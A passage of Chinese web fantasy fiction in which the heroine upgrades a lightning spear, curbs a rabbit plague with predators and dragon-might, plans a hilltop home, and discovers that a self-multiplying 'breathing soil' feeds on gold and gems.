说实话，这些天来，颜辞云十分烦恼自己的长头发，无数次想过要不要把这碍事的头发剃光。 但最后，秉着穷鬼的谨慎，她想着长发或许能够拧起来当细线使用，甚至是在冬天用来保暖，这才把它留了下来。 不过，令颜辞云自己也没想到的是，她的进化——或者说异变——速度会这样快，连一个月时间都不到，她就既不用操心长发碍事的问题，也不用操心冬季的保暖问题了。 在小溪边臭美了一会儿，颜辞云收回目光，顺着溪流继续向外走，很快就走出裂谷，来到一片满是枯木的山丘上，极目远眺，很快找到了自己试手的目标： 巨大的陨坑，以及一群四处猎食的凶恶鬣狗。 事实上，这个陨坑里的紫毛鬣狗，早在颜辞云来到裂谷时就清理掉了。 可不知道为什么，这些紫毛鬣狗总是死不干净。 每当颜辞云清理过这个陨坑，卷走所有紫毛鬣狗，但过段时间再来看时，就会发现坑里重新“长”出了一群紫毛鬣狗。就像是游戏里会定点刷新的“小怪”一样。 这令颜辞云心下颇感微妙。 而如今，当颜辞云提着惊雷枪，再度看向这个陨坑和这些鬣狗时，她却蓦地感到自己的视线里多了什么。 似乎是……雾？ 颜辞云凝神细看。 只见，一层轻薄的紫色迷雾，如碗一样倒扣在陨坑上方，袅袅不散，甚至如蛛网一样，勾缠着四周徘徊着的紫毛鬣狗的四肢，让颜辞云直观地明白了什么叫“千丝万缕”。 颜辞云若有所思，打量着自己手里的惊雷枪。 【惊雷枪：闪电的力量由你掌控】 【可升级，可改造】 是因为这把枪吗？ 颜辞云心念微动，站在山丘上，提着惊雷枪，向不远处的紫毛鬣狗一指。 轰隆！ 下一秒，惊雷天降，将这群紫毛鬣狗劈得鬃毛炸起，汪汪大叫起来。 颜辞云心中对这雷霆的威力有点儿失望，但又有点儿理解。 毕竟，如果她没猜错的话，这群鬣狗跟【雷】恐怕有着千丝万缕的关系。想单纯靠【雷】就劈死它们，那颜辞云怕是得把惊雷枪升升级先。 山丘下，被雷劈得东倒西歪的紫毛鬣狗们转了两圈，很快发现了颜辞云的存在，呲牙咧嘴地向颜辞云冲来。 颜辞云当然不可能怕这群小狗，提着惊雷枪，左右几次横扫，就把它们轻易拍死。 是的，颜辞云不懂枪法，但她略通打狗棍法。 把这群鬣狗打死后，颜辞云没有急着离开，而是站在原地，静静看着。 而果然，没让颜辞云等多久，几乎就在这群紫毛鬣狗死后没多久，那些缠绕着它们的紫色轻雾就收回了自己的“丝线”，回到陨坑里，化作一只只肉眼无法捕捉的紫色虫茧，仿佛重新酝酿着什么。 颜辞云看着这样的一幕，下意识舔了舔唇，脑中有一个词一闪而过： 一炁生万物。 “……不是，你来真的啊？” 颜辞云提着惊雷枪，来到陨坑附近，探头看了看，稍稍沉吟后，便伸出手在“紫雾”中搅了搅，接着又试探着用手指扒拉陨坑深处的“茧”。 紫雾没有任何反应，颜辞云的手也没有传来任何触感。 于是，颜辞云换了个方式。 她先是用惊雷□□进雾中，轻轻搅了搅。 只见，原本不为外界所动的紫雾，在惊雷枪的引动下震颤起来，那薄而不散的紫雾此刻似乎变得更薄了，就像是……就像是被惊雷枪吸收了？ 颜辞云重新查看手里的惊雷枪。 系统里，惊雷枪的注释显示如常，但颜辞云却敏锐注意到，惊雷枪原本银白无暇的枪杆上，隐约有紫色雾气浮现。 难道…… 这把枪可以—— 颜辞云心中隐隐生出了几分明悟，甚至生出了几分按捺不住的激动，毫不犹豫地用□□破了陨坑深处酝酿中的“茧”。 一个个“茧”无声化作碎片。 而当陨坑中最后一个“茧”都被刺破后，惊雷枪的枪杆上蓦地浮出一道闪电般的紫痕，那原本笼罩在陨坑上方的紫雾，则消失一空！ 颜辞云知道，这个陨坑以后大概是不会“刷新”紫毛鬣狗了。 “有意思，有意思！” “真是太有意思了！” 就像是第一次用蜡笔画出色彩，又像是第一次在琴键上敲出音符。 这一刻，颜辞云怀揣着满腔兴奋，就像是一个五米高的孩子，提着手里的惊雷枪，开开心心地把附近游荡的紫毛鬣狗扫荡一空，并且直接把它们的老巢都敲掉了。 于是，随着四周“紫雾”的不断减少，惊雷枪上的紫电则不断增加。 一道，两道，三道。 五道，六道，七道。 轰！ 当第九道紫电从惊雷枪枪杆上浮现的瞬间，天空中蓦然又有惊雷炸响！ 轰隆！ 轰隆！ 轰隆！ 一连九道雷声后，乌云漫天，好似无边无际，又恍若世界末日的到来！ 而与此同时，颜辞云手中的惊雷枪也不断震颤起来，有一股无形的引力从乌云深处传来，像是要将惊雷枪整个吸入！ 颜辞云愕然睁大眼，立即握紧手里的惊雷枪。 开什么玩笑？ 这可是颜辞云好不容易升级的玩具！ 眼看都要升级成功了，眼看只差临门一脚了，结果竟有“人”跳出来摘果子，跟她抢惊雷枪的归属？ 呵！ 小小雷云，可笑可笑！ 如果是雷山上自然生成的庞大雷云，颜辞云或许还会生出忌惮，但—— 就这么一小片直径十公里都没有的雷云？ 你吓唬谁呢？ 颜辞云看着天上雷云，浑然不惧，直接化身龙形，瞬息万里，一尾巴拍散那沉沉雷云！ 之后，颜辞云还不肯罢休，又把龙头探入即将消散的雷云深处，一口长吸鲸吞，将雷云最后的雷电都含入口中，再将惊雷枪掷在地面，扭头一喷吐。 一秒，两秒，三秒。 十秒，二十秒，三十秒。 整整三分钟的电浆狂涌，颜辞云终于吐出了自己嘴里的最后一丝紫雾。 她吸了口气，化身蛇形，将惊雷枪重新握在手中。 此刻，惊雷枪早已模样大变，原本银白的枪杆化作漆黑，上头有紫龙盘绕，而枪刃则更是散去了形体，化作了一道道游移不定的惊雷！ 漂亮！帅气！绝对是svvvip才有的外观！ 这就是传说中的整容形升级吗？！ 颜辞云开心地挥舞着升级后反而更顺服的长枪，比划了两个帅气的姿势后，才终于定睛，看向这把枪的名字。 【邪龙噬雷枪：被邪龙洗练过的神枪，有施云布雨、引电吞雷之能。】 颜辞云：“嗯……” 不知道是不是错觉。 总感觉自己被骂了呢。 25、第25章 野望 得到了外观超帅气的新玩具，颜辞云开开心心地拿在手里耍了好一会儿。 此刻，邪龙噬雷枪在系统的显示里，共有两个能量条，一个是雷属性的，一个是水属性的。 非常符合系统注释的“有施云布雨，引电吞雷之能”。 也非常符合它的来历。 只不过，这把枪的雷属性能量存量要远远超过水属性，这让颜辞云这个稍稍有点儿强迫症的人实在看不习惯，琢磨着什么时候去把那群蓝毛兔子也扫荡了才好。 当然，这一点倒不是颜辞云馋蓝毛兔子“刷怪点”的能量，而是兔子实在是种繁殖力逆天的动物。 颜辞云在离开海底回到地面后，为了研究紫毛鬣狗和蓝毛兔子的秘密，在裂谷待了五天左右。 可就是这短短五天时间，外头的蓝毛兔子竟就比颜辞云初见时翻了一倍！ 这才五天啊！ 不是五十天，不是五个月，就只是五天啊！ 甚至颜辞云半途还因为要合成【引雷角】而出去把蓝毛兔子扫荡了两遍。 可就算这样，五天时间，颜辞云触目所及的地方，蓝毛兔子的数量就已经多到她头皮发麻。 一只兔子或者数只兔子，那自然是可可爱爱的小动物。 但当兔子的数量过多后，那就只能称之为灾难。 它们会大量啃食草、灌木和树木的嫩芽与幼苗，致使土地变得荒芜；并且它们打洞筑巢的行为，也严重破坏了土壤结构，使得土壤变得疏松。 如果颜辞云对这种以可怕速度进行繁衍的兔子们视而不见、放任不管，那么可想而知，当探索完世界后的颜辞云重回此地时，她恐怕也别想再见什么多姿多彩的生物与地貌了。 因为那个时候，这里必然只剩下了荒芜的土地、漫山遍野饿死的兔子，以及足以引发密集恐惧症的兔子洞。 当然，颜辞云也可以寄希望于大自然的自我调节能力，信任这个已经稳定运行了无数年的异世界。 比如说，是不是当兔灾泛滥到一定程度后，就会引发异象于天变，或者干脆有兔子的天敌从天而降，给予这群兔子制裁？ 但颜辞云在裂谷里等啊等，又是五天过去了。 没有异象，没有天变，更没有天敌。 只有隔壁靓仔的草原被啃成了地中海大叔。 ——不要！快住手啊！！ 颜辞云坐不住了。 她想，自己一定得做点什么才行。 但是，她又能做些什么呢？ 首先，清理掉附近所有蓝毛兔子的“刷新点”。 这一点是必然的。 颜辞云动作很快，不到半天时间就飞遍了附近的所有陨坑，用自己的新玩具把兔子刷新点上的“蓝雾”统统打散。 做完这件事后，颜辞云手里的邪龙噬雷枪的水能量条，甚至涨了一大截，直接反超了雷属性条。 但，在这之后呢？ 接下来要怎么办？ 这会儿，经过整整十天的酝酿，附近的兔子数量爆发性增长，哪怕颜辞云打掉蓝毛兔子的“刷新点”，其数量也是多得让人头发麻眼发晕了。 想要靠颜辞云自己一个人的力量把这些兔子全都找出来杀死，那是绝对不可能的。 因此颜辞云很快想到了又一个办法：生物防治。 如今，在这个酷寒的冬季里，大地上除了蹦得最高的紫毛鬣狗和蓝毛兔子外，大致有三种生物还在活动。 第一种是体型像牛、长相凶恶，但却只低头吃草的草食动物，它们一般成群结队地在草原活动。 颜辞云曾经抓了一头来尝，发现的确是牛肉的味，就没有再去猎捕了。 倒不是颜辞云不爱吃牛肉，而是这些牛牛看起来被兔子排挤得太惨了，让她实在不忍多吃，就怕一不小心吃绝种了。 至于第二种，则是看起来像鸵鸟，但却长了一张尖嘴猴腮的人脸的杂食动物，它们一般在裂谷附近活动。 颜辞云在初到裂谷时，猝不及防撞见了这么一群辣眼睛的人脸鸵鸟，实在是被吓了一大跳。 后来，当颜辞云暂住裂谷，开始了对紫毛鬣狗和蓝毛兔子的实验后，哪怕颜辞云没有主动驱赶它们，它们也慑于颜辞云这边浓郁的血气，主动跑掉了。 颜辞云没想要吃这些长着人脸的丑八怪，便也仍由它们去了。 而在附近活动的第三种生物，是一种模样像野猪，但却长了一双鸡爪，平时会发出“哩哩”怪声的奇怪野兽。 颜辞云把它们叫做“哩兽”。 哩兽直立起来足有十米高，牙齿锋锐，横冲直撞，是毫无疑问肉食性动物。但它们的数量不多，并且是独居生物，除非刻意去追踪，否则平日里很难撞见。 颜辞云的脑袋在冒出“生物防治”的念头后，第一个想到的当然就是帮附近的哩兽们搬家。 可很快的，颜辞云否决了这个想法。 毕竟，哩兽数量实在太少，哪怕所有哩兽都蹲在兔子窝加餐，以它们进食的速度也很难赶上兔子繁殖的速度。 那么，选人脸鸵鸟怎么样？ 颜辞云在给紫毛鬣狗做扒皮实验的时候，就远远观察过这些邻居们。 这些人脸鸵鸟别看长得丑，但它们的牙口实则非常惊人。 当它们还在裂谷里时，它们最常吃的就是花瓣和藤枝——那种连鬣狗群都能活活抽死的藤枝，它们竟然嘎吱两口就嚼碎咽下！ 这实在让颜辞云佩服极了它们的咬合力。 与此同时，这些人脸鸵鸟们的速度也很快。 当这些人脸鸵鸟慑于颜辞云淫威，夹着翅膀溜出裂谷后，没有了食物来源的它们立即盯上了那漫山遍野的蓝毛兔子。 兔子的跑路速度众所周知，可没想到人脸鸵鸟的速度更快，总是能轻而易举地追上兔子，把兔子一口吞下，再用它们好得过分的牙口将兔子生生嚼碎。 说实话，那画面真的有点残暴。 但用这样残暴的人脸鸵鸟来当生物防治的一环，却似乎相当不错？ 颜辞云这样想着，便也行动起来，给附近的人脸鸵鸟们都搬了个家，放在兔子窝的中间。 可让颜辞云失望的是，人脸鸵鸟也与哩兽一样，倒在了同一个问题上：数量太少！ 哪怕颜辞云把附近所有的人脸鸵鸟都抓住、丢进了兔灾泛滥的草原，可它的数量还是不足一千。 一千对数百万。 这顶什么用啊！ 更何况这群兔子由于没天敌没还不惧严冬，所以越长越好，体型大了数倍，从只有巴掌大小的可爱小兔子，变成了体长一米的痴肥巨兔！ 那群人脸鸵鸟才来了草原没多久，就从食物链上游的猎食者滑落，变成了与兔子势均力敌的对抗者。 ——谁知道再继续发展下去会变成什么样？ 而至于草原的本地生物小牛牛们？ 那就更别说了。 它们要是在对付兔子上有一点用，也不至于一点用都没有。 所以—— 这也不行那也不行，难道她颜辞云就只能眼睁睁看这群蓝毛兔子称霸草原、进军裂谷、霸占湖泊，在把她预备的建家地址搅得一团糟？ 颜辞云不甘心。 颜辞云格外地不服气。 想她颜辞云堂堂异界来客，手持系统大杀器的唯一玩家，既没有倒在惊天动地的巨兽大战里，也没有被海底龙尸的龙种力场难倒，甚至就连那场天翻地覆的换季，都没能奈何她……结果她反而拿捏不住这小小兔灾、要对着这群痴肥的兔子避退三舍吗？ 才不要！ 才不想这么容易认输！ 所以，想想办法。 一定有办法的吧？！ 颜辞云坐在裂谷外的山丘上，冥思苦想。 还有什么办法能遏制兔灾的蔓延呢？ 投毒？ 不不不，这个好像不太好。 这个异世界的生态系统似乎本来就挺烂的，再胡搞的话谁知道会变成什么样。 而且她身上哪里来的毒。 那，继续走生物防治的路子？ 比如说——投入紫毛鬣狗？ 紫毛鬣狗也是被“刷新”出来的，所以，如果颜辞云能在兔子窝里放下一个，不，是放下非常多个紫毛鬣狗的“刷新点”，那么这些数量可怕攻击力也不低的鬣狗们，是不是就能给予那群肥兔子以制裁？ 理论上好像可以……但颜辞云该怎么做？ 那些陨坑里的“刷新点”，都是换季过程中，由天降的水炁和雷山的雷炁交锋，溅落大地而形成的。 颜辞云哪里有这惊天动的本事，能在兔子群里复制一个出来？ 别看颜辞云好像收集了不少水炁与雷炁，还借由二炁打了一把外形酷炫、有呼风唤雨之能的邪龙噬雷枪。 但是，这也只不过是对材料的“再加工”而已。 一个工匠再会加工，难道还能无中生有、凭空生造出原材料吗？ 巧妇难为无米之炊。 人只能对自己手上已拥有的资源进行再利用。 而至于“创造生命”和“无中生有”——这已经是迈入神的领域了！ 在这一刻、这一瞬间，颜辞云百般不甘的心中生出了这样的野望：如果，我也能凭空造物就好了。 如果她也有造物的能力、如果她也能像蓝焰和雷云那样，只是从指缝里散落出零星的两三道“炁”，就能源源不断地制造出生物就好了。 到了那时，她一定会创造更多的动物与植物，投入其中，一点点改造这片生态稀烂、这也没有那也没有的大地，让这片轻易诞生这种“灾”那种“灾”的大地上，生出真正的平衡与调和之力！ 而只有这样生生不息、循环往复的世界，才是她真正熟悉的“自然”啊！ 想到这里，颜辞云再次打开自己的技能页面，目光在绿色图标的“生活模块”上久久凝视。 颜辞云轻声喃喃：“或许……” 或许，真的会有这样的一天。 或许真的有一天，她可以创造万物，就如同她只能躲在远处仰望的“蓝焰”那样，只是屈指一弹，就有万物诞生！ 甚至，这一天的到来，也可能没有她想象中的那样遥远，因为她的成长速度，在【吞噬】技能的加持下，早已经来到了一个不可思议的程度！ 但是—— 颜辞云眨眨眼，叹息着关掉了技能页面。 “但是……在这一天到来之前……” 颜辞云抓了抓头，回到现实，苦哈哈地想着。 “还是老老实实杀兔子吧……” 26-30 第26章 龙威 颜辞云是一个很注重实…… 于是，为了这边漂亮的草原、裂谷及湖泊群不至于被兔灾挖崩，接下来的好几天，颜辞云都拿着自己的新玩具，兢兢业业地赶鬣狗、赶兔子。 先是把兔子圈在一定范围内，不让它们祸害更远地方的环境，同时又把其它地方的鬣狗赶过来，让它们在特定的区域里自相残杀。 “这怎么不算是斗蛐蛐呢……别人要花钱才能看，我直接就看了……” “再拿上有自动收集功能的镰刀转上一圈，恐怕接下来的好几年都不用愁兔子吃了呢……” 颜辞云苦中作乐，安慰自己。 不过，颜辞云想得没错，她还真不算是空耗时间。 在驱赶兔子的时候，颜辞云遇到了一些小麻烦，比如说兔子太多还会打洞，明明前一秒还慌慌张张地被颜辞云驱赶到了指定区域，下一秒就打洞溜了。 这实在给颜辞云造成了不小困扰。 但很快的，在颜辞云琢磨着要不要用原石块圈出一个“斗兔场”之前，颜辞云发现了自己龙形的新妙用！ 【龙形（lv10）：你可以将自己身体的任何部位在龙形间自由转换，并拥有一小部分真龙的能力。在饱食度消耗完前，你的变形不受任何外力的干扰。】 在颜辞云不辞辛苦、每天跋涉万里都要回到海底大吃大喝的情况下，颜辞云的【龙形】很快升到了10级。 而龙形lv10的描述与lv1的描述看起来相似，但【可以自由将自己身体的某一部分变化为龙形】与【可以将自己身体的任何部位在龙形间自由转换】，看起来像是文字游戏，其实内里却有着极大差别。 就像是蹒跚学步的婴儿和体操运动员之间的差别一样。 并且，【拥有一部分龙的能力】和【拥有一小部分真龙的能力】，二者更是不可同日而语。 前者只是让颜辞云懂得如何粗暴地运用龙形的天赋能力，也就是用□□自带的力量横冲直撞。 但后者却让颜辞云在变声后感受到了一些冥冥之中……炁？ 又或者是别的什么？ 颜辞云暂时没有搞清楚这件事。 但，意外之喜来了——就在颜辞云驱赶兔子的途中，她竟意外发掘了龙形lv10的又一能力，龙威！ 只要颜辞云在草原上用自己的气息画一个圈，再留一个缺口，那么之后所有被颜辞云驱赶到这个圈子里的兔子，都会摄于龙威，缩在地上瑟瑟发抖，一副吓傻了的样子，不会再想着打洞跑路。 这岂不比颜辞云用原石块搭一个“斗兔场”要好用得多？！ 但很快的，颜辞云又有了另一个苦恼，那就是被赶到圈子里吃兔子的鬣狗们，同样也被龙威吓得屁滚尿流、没法动弹了。 难道，她还非得自己动手，将这兔子一个个杀过去，当一名让兔子闻风丧胆的杀兔战神吗？ 颜辞云有些头痛。 不过还好，新的脑瓜子就是灵光，颜辞云飞快又想到了另一个办法： 有没有什么诀窍，可以调整龙威的“浓度”，让龙威达到一个既可以吓瘫兔子、却又不会吓到鬣狗的程度？ 颜辞云捣鼓来捣鼓去，最后还真给她搞定了。 毕竟这种唯心的力量，不怕你想法多，就怕你没想法。 于是，颜辞云用自己升级后的龙威，在附近的兔灾泛滥区圈出了好几个“斗兔场”，限制兔子们的行动范围和挖洞行为。 接着，颜辞云又将鬣狗群按比例投入“斗兔场”内，并把草原上那些可驱赶鬣狗的牛群、与鬣狗争食的人脸鸵鸟，以及这条短平快食物链顶端的哩兽全都放在了附近，力争达到一个勉强维持的生态平衡。 至此，颜辞云对这场兔灾的“生物防治”，也算是告一段落了。 颜辞云暗暗松了口气，擦了把汗，带着自己可能一辈子都吃不完的兔肉和鬣狗肉，回到了裂谷的小居所处，把无聊到咬自己尾巴玩的小白一把捞走，又随手把之前一直没来得及处理的碎肉掩埋。 也还好现在是酷寒的严冬，否则这么多血肉零碎堆在这儿，恐怕早引起苍蝇无数了……等会儿这世界有苍蝇吗？ 把自己发散的思绪稍稍收拢，颜辞云一手抱着小猫咪，一手提着蛛网编织袋，里头是三个叠放好的储物箱。 “好了，小白，这边的事都搞定了，我们该搬家啦！” 不是临时居所，而是一个真正可以被称作家的地方！ 经过这段时间反复的赶兔子和杀兔子，还要不断地思考、调整“生物防治”的办法，不得不说，颜辞云实在有点累了，所以探索世界的想法，还是暂时搁置一下。 诗与远方固然美好，但每天的休息也很重要！ 哪有人穿越了还搞007的啊！ 抱着“无论如何反正接下来我要好好休息一段时间”的想法，颜辞云来到裂谷外的山丘上。 而这儿，就是颜辞云选择的建家地址。 这座山丘并不高，地形平缓，视野开阔，面积宽广，无论种花种草还是种树，都很合适。 并且，山丘与草原、裂谷、湖泊群等地点都很近，不管颜辞云是想要去草原搞点吃的，还是去裂谷赏花，又或者是等冬天过了去湖泊群那边掏点鱼、游会儿泳什么的，都很方便。 更重要的是，从山丘向东走不到十公里的地方，就是一片断崖，崖下就是大海——虽然现在是冰原——与海底龙尸的距离很近，很适合颜辞云过去开餐。 而唯一一件让颜辞云感到遗憾的是，山丘东侧的断崖，正对着海上那片黑色的、被无形力量凝固了的海域。 那片漆黑的、仿佛世界尽头一样的断渊，完全没有受到换季的打扰，哪怕全世界都变得冰天雪地了，它却依然自顾自地伫立在那儿。 每当颜辞云站在山丘上向东眺望时，她的视线总是第一时间被那片沉沉的黑色吸引，而如果她注视的时间久了，她更是忍不住一阵地头晕眼花，几乎要以为自己不是站在地面，而是站在黑洞边缘，并且下一秒就要被吸进去了！ ——这取景可不好！ 哪有海景房正对黑洞的？ 但，颜辞云实在懒得挪动了。 “不好就不好吧……” 颜辞云心中嘀咕。 “大不了……把正对黑洞那一面的视野封上！” 反正颜辞云要休息了，谁来说都没用！ 这样想着的颜辞云，先是在山丘上建了个方方正正的火柴盒，自己躺进去好好睡了一晚上后，第二天一早，她就精神振奋地爬起来准备做规划了。 比如说，住宅区和日常活动的生活区。 在这个宽广的、不需要交房租房贷的世界里，颜辞云想怎么建家就怎么建家，完全不需要考虑面积大小，哪怕是手捏一个圆明园都没有问题。 但颜辞云其实是一个很注重实用性的人。 自己居住的地方，建大一些、漂亮一些，固然很好，但“派的上用场”、“有存在的必要和价值”，才是颜辞云首要考虑的事。 可能对有些人来说，“漂亮”就足以击败一切缺点，只要“漂亮”，哪怕餐风饮露都心甘情愿。 可颜辞云却宁愿待在丑得像火柴盒的温暖明亮的屋子里围炉煮茶。 不过—— 颜辞云转念一想。 不过漂亮与实用，也不是不能共存，只要多花点时间、多花点心思，什么好屋子造不出来？ 巧了，颜辞云这会儿最多的就是时间和心思。 所以，颜辞云圈好大致的生活区、划出大致的户型图后，拿出材料就准备开干了。 如今，颜辞云身上已经攒了相当多的材料与成品。 【原木块】及衍生品【木板】、【木棍】，【原石块】及衍生品【石板】、【石砖】等一系列的材料自然不必说，早已把储物箱装得满满的，叠了数个格子的999。 颜辞云甚至专门腾了一个储物箱出来装这些原材料。 而至于其它的材料，如【杂草】、【树枝】、【藤曼】之类，颜辞云虽然没有特意收集，但也攒了不少。 甚至颜辞云在之前研究鬣狗与兔子的秘密时，她还特意抽了一天时间回到焚毁的森林里，砍掉那些枯焦的树，得到了大量【木炭】。 之后，颜辞云又拖着自己那柄有自动收集能力的长镰刀，在森林随便转了转，又收集到了无数【灰烬】。 颜辞云拿出【灰烬】，放在手里搓了搓，发现这不就是草木灰嘛！ 草木灰是好东西，又能当作肥料，又作为香皂的替代品，用来洗除污秽和油腻。 颜辞云本还准备什么时候抽空烧点草木灰来用呢，结果这就到手了。 超棒！ 而其它的材料，如【鬣狗皮】、【兔皮】、【兔角】、【狗肉】、【兔肉】等，颜辞云的仓库更是爆满！ 不用提，这些全是颜辞云在圈“斗兔场”时用镰刀收集到的。 在刚圈出草原斗兔场时，颜辞云还曾为斗兔场里大量堆积的死兔子和死鬣狗犯难。 毕竟，她一个人也吃不了这样多的兔肉狗肉，而如果将大量尸体堆放原地不做处理，更是不知道会不会引起瘟疫。 所以颜辞云干脆清空了自己的物品栏，只提着镰刀来到斗兔场，准备用镰刀把这些尸体全都收进物品栏，再批量掩埋。 但万万没想到，用镰刀收集动物尸体这一意外想法，最后竟给了颜辞云一个天大惊喜！ 只见颜辞云提着镰刀冲进兔子堆里。 死兔子飞速消失，取而代之是颜辞云物品栏里暴增的材料。 【兔肉】+1+1+1…… 【兔角】+1+1+1…… 【兔皮】+1+1+1…… 只是一眨眼的工夫，颜辞云周围3x3的区域为之一空！ 那些死兔子，竟然统统被镰刀分解成了各色材料，妥妥贴贴地躺在颜辞云的物品栏里！ 颜辞云大喜，又来到了被兔子蹬死的鬣狗前，用镰刀一挥。 【鬣狗皮】+1 【狗肉】+1 【狗牙】+1 比起颜辞云自己动手来说，镰刀的自动采集是有相当大的损耗的，比如说十来斤的鬣狗，镰刀竟只能采集出一块一斤的狗肉。 放在穿越之处，颜辞云绝对会心痛不已，但放现在无所谓，颜辞云可不缺肉吃。 而镰刀采集同样也有好处，比如说再不用颜辞云自己动手剥皮了。 又比如说【狗牙】这种颜辞云之前完全没注意到的材料。 说实话，颜辞云之前完全忽视了还有这样一个材料。 因此，冷不丁拿到【狗牙】后，颜辞云看了两眼，突发奇想：这个东西……是不是可以做成箭？ 刚好，颜辞云手上有【容易损坏的木弓】的合成表，只要花点心思改改很容易就能做出一张【原始木弓】。 而之后，她再用【狗牙】做出箭后，是不是就可以玩射箭了？ 虽然吐蛛网更快捷也更方便，但是—— 用弓射箭多酷啊！ 这样想着，颜辞云兴冲冲地把狗牙放上制作台。 然后她就做出了【狗牙陷阱】和【针线包】。 颜辞云：“呃——？” 陷阱还好说，但针线包……是为什么？ 想不明白。 但可以确定的是，颜辞云当个英姿飒爽的弓兵的想法，是再次破灭了。 除此之外，颜辞云的仓库里还有许多换季前从森林里收集到的树种，许多在海底收集到的珊瑚。 当然，如【金子】【钻石】等矿物，还有【紫宝石】【红宝石】等各色宝石也有，只不过数量少了些。 颜辞云之前在海底把它们掏出来后，只随手把它们丢进空桶，就没再管了。 现在颜辞云清理仓库，刚好可以把它们从【装满矿石的木桶】里分离出来。 这样想着，颜辞云打开第三个储物箱，把储物箱里【装满矿石的木桶】X3全都拿了出来。 而下一秒，还没等颜辞云反应过来，她就眼前一黑，感到有什么东西哗啦啦倒在她身上，把她直接压成了五指山下的猴子。 颜辞云一脸懵：什么？ 什么什么？ 怎么回事？ 刚刚发生了什么？！ 差点没被压成蛇饼的颜辞云指尖动了动，摸了摸压住自己的那些东西。 “是……土？” 是的，的确是那种松软的、仿佛散发着太阳与草地清香的土。 可问题是—— 她的储物箱里，哪儿来的这么多土？ 第27章 息土 十分钟的奇迹 颜辞云懵了好一会儿，直到小白好奇蛄蛹进来，把沾满泥土的毛脑袋在她脸边上蹭来蹭去，她才终于回神，挣开了满身泥土，抱起脏兮兮的毛孩子，一边给它拍灰，一边绕着土堆打量。 “怎么回事……”颜辞云不住嘀咕，“都哪儿来的土啊？” 嘀咕着嘀咕着，颜辞云冥思苦想，突然从脑袋的角落里翻出了点儿真东西。 “等会儿，当初……我在海底捡垃圾的时候，我是不是捡到了一捧土？” 然后，她是不是因为觉得那一小捧土鸡肋，就随手丢进桶里了？ 而当时，那捧土的描述是什么来着—— 【息土：无限之土】 颜辞云心中咯噔一下：“不会吧？” 不会是这么个“无限”法吧？ 颜辞云连忙放下猫，捞了一把眼前的土塞进物品栏，定睛一看： 【息土】 还真是啊！ 颜辞云目瞪口呆：可、可、可、可它到底是怎么变成这么多的？ 这不合常理啊！ 颜辞云早就知道，自己的系统物品栏也好、储物箱也好，都是没有“保鲜”功能的。 这代表着系统物品栏与储物箱里的时间都是流动的、是与异世界的时间接轨的，所以储物箱和物品栏里的所有东西都会随着时间流逝而变化。 比如说食物会时间推移而腐烂变质。 又比如说—— 息土会因时间流逝而自动增长。 “所以说它到底为什么会自动增长？这是什么原理？” 如果息土真的是无限之土，并且真的如系统描述的那样能无限地自我增殖下去，那最后的最后，这个异世界岂不是只剩下息土了！ 可偏偏，除了海底，颜辞云还真没有发现哪儿有【息土】的存在，甚至就连海底，颜辞云也仅找到了那一小捧。 ——总不可能息土在海底不长，一到她手里就开始长了吧？ 颜辞云百思不得其解。 而后，没等这个问题解决，很快的，颜辞云又发现了第二个问题： “不是，我的金子呢？” 颜辞云从堆成小山的息土下掏出自己装宝石的木桶，往下一倒。 土，土，土。 土，钻石，土。 土，青金石，土。 土，翡翠，土。 土，土，土。 颜辞云不可置信：“我那几块沉甸甸、金灿灿的金子呢？还有我的宝石——哦，钻石青金石还在——等等这些又不值钱！” “所以我宝石和金子呢？！！” 储存的特殊材料遭到这样的巨大损失，颜辞云本就不够丰盈的口袋雪上加霜。 颜辞云木然呆立，片刻后才艰难回神，揉了揉眉心，拉回理智。 消失的金子与宝石，多出的息土。 只要稍稍想一想，就很容易把它们联系起来。 “所以说……那些消失的宝石，莫非就是【息土】搞的鬼？” 而为什么息土只有在颜辞云的木桶里才进行增殖，理由也很容易想明白。 在最开始时，息土也好金子也好宝石也好，都是被封存在一颗颗鹅卵石里的。 而当颜辞云破开鹅卵石，放出息土和宝石、并且它们都放在同一个桶里后，息土与金子宝石有了直接接触的机会，于是息土吞掉了它们，并从中获取到了一种特殊能量，这才能自我增殖，直到变成如今这样沉重的体积。 这是非常符合逻辑的猜想。 当然，还有一个极小概率的可能，那就是这些从海底摸出来的金子宝石与大海有着特殊联系，所以它们一离开大海、或者离开大海达到一定时间一定距离，就会自动分解，化作飞灰。 为了验证到底是哪种可能，颜辞云甚至又回到海底，重装了两桶宝石和两桶金子回来。 其中的一桶金子和宝石，颜辞云将它们放进储物箱里，准备等上十天半个月后再取出来查看。 而另一桶金子和宝石，则丢进息土里做实验。 颜辞云不知道什么是对照组，也不知道什么叫控制变量。 她只是按照非常朴素的实验法则，一手土放一颗紫宝石，一手土放一颗蓝宝石，一手土放一颗红宝石，一手土放一颗金子…… 总而言之，经过艰苦且简陋的实验后，颜辞云发现，息土其实只跟六种材料有反应，即红宝石、蓝宝石、绿宝石、橙宝石、紫宝石和金子。 投入红、蓝、绿、橙四种颜色的宝石时，息土会像烤炉里的面包一样膨胀，很快就膨胀成原本体积的三倍大小。 而投入紫宝石时，息土则会像吹气球一样胀大，最后变成十倍大小也不在话下。 而如果投入的是金子，那更不得了了！ 只是小小一指甲盖大小的金子，就能让一小捧息土爆炸式膨胀，眨眼就变得十来斤重！ 实验到这里，颜辞云回想了一下被自己丢进宝石桶的那几大块沉甸甸的金子，总算明白了一小捧息土是怎么变成了一座小山的。 不过，除了这五种宝石与金子外，其它的矿物如钻石、翡翠、青金石、黑曜石等，都不会与息土发生反应。 颜辞云想，这或许是因为这六种材料里，蕴藏着某种区别于其它矿石的特殊能量。 只不过现在的颜辞云，暂时还没弄明白这什么能量罢了。 搞明白息土的增殖之谜后，颜辞云瞧着这堆成小山的息土，便开始琢磨着它们有什么用了。 系统的注释里说，息土可以令种在它上头的种子无限生长。 而这一句话里的【无限】又是什么意思呢？ 颜辞云决定用手上最后的一把树种试试。 颜辞云把调皮的小白往后稍了稍，用尾巴尖摁住，杜绝了它半路冲出来捣乱的可能。 之后，她伸出手，把自己面前堆积成山的息土扒开一个小坑，丢下树种，埋好。 再后退几步，向那树种遥遥一点。 无形却蓬勃的生命从颜辞云指尖涌出，冲向了那颗小小的树种。 于是，肉眼可见的，树种生根发芽，绿意撕开严冬。 明明前一秒，它还只是一颗只有巴掌大小的树种，但下一秒，一株虽然还算幼小、但却已初显顽强的小树，就这样带着绿叶，倔强地从泥土里挣扎了出来。 这还是颜辞云没有投入过多能量的结果。 甚至颜辞云知道，这远远不是这颗树种的极限！ “那就……继续？” 颜辞云还真挺想知道可令种子“无限生长”的息土到底有多“无限”。 